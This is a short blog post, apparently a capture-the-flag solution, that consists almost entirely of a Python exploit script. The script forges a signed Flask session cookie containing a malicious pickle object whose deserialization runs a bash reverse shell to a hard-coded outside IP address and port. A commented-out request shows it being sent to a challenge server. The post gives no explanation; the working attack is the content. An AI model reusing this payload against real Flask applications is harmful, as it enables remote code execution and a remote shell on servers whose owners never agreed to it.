flask-session（内含）生成脚本

2021-10-25 19:33

156

25 字

2 分钟

from flask.sessions import SecureCookieSessionInterface
import os, sys, pickle, base64, requests

COMMAND = "bash -c 'bash -i >& /dev/tcp/47.96.173.116/2333 0>&1'"

class PickleRce(object):
    def __reduce__(self):
        return (os.system,(COMMAND,))

class App(object):
    def __init__(self):
        self.secret_key = None

app = App()
app.secret_key = b'\x0cl\x06\xd1\x9c\xe9\xd7\xfa\xd86\xccQU\x05\x95\r'

si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)

session = serializer.dumps({'savedata':base64.b64encode(pickle.dumps(PickleRce()))})
print(session)

# requests.get('http://40de4789-7b10-4733-ad76-8e501a0b9434.node4.buuoj.cn/note/1', cookies = {
#   'session': session
# });